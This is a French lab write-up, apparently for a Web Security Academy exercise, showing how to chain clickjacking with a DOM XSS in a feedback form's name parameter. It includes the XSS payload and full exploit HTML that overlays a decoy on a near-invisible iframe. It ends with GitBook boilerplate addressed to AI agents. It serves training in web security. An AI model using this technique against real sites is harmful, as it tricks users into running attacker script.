> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking pour déclencher un XSS DOM

### Exploitation d'une vulnérabilité de clickjacking pour déclencher un XSS basé sur le DOM

#### Objectif

Amener un utilisateur à cliquer sur un bouton (« Click Me ») intégré dans un iframe pour exécuter le `print()` fonction via une vulnérabilité XSS déclenchée par un clic.

<figure><img src="/files/26c2e98ef825ff83b9408e5d867018484f6f1bcf" alt=""><figcaption></figcaption></figure>

#### Contexte / Observations

* Le **formulaire de retour** a un `paramètre name` qui est vulnérable à un XSS DOM (la charge utile JavaScript s'exécute lorsque l'image échoue et invoque la fonction souhaitée).
* Exemple de charge utile détectée : `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/e084fee4d40b5f8ec67fc2f8d7c5c8fa25c50eda" alt=""><figcaption></figcaption></figure>

* Autres paramètres utiles pour préremplir le formulaire dans le cadre : `email`, `sujet`, `message`.

#### Charge utile utilisée

Pour déclencher `print()` via une vulnérabilité dans `paramètre name`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/9b99fe4feb434dd949ee3d34c8d79e37ec97b3cb" alt=""><figcaption></figcaption></figure>

* Inclure un `<iframe>` pointant vers la `/feedback` page vulnérable avec des paramètres préremplis (`paramètre name`, `email`, `sujet`, `message`) contenant la charge utile XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/dcba591ab76b91473b6fb757ee0c01b2f92ae89e" alt=""><figcaption></figcaption></figure>

1. Rendez le cadre presque invisible (opacité très faible) et superposez au-dessus un appât, positionné de sorte que le clic de la victime atteigne le bouton « Click Me » à l’intérieur du cadre.
2. Lorsque la victime clique sur l’appât, le clic est transmis au cadre et le XSS DOM est déclenché — ici `print()` est appelé.

#### Exemple de code à héberger sur le serveur d'exploitation

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Cliquez</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/8f3280885865328e3bcc2736be8d05ff66d45d7f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/223c3713dbd5f562d7817f162b6300d27a8848a4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
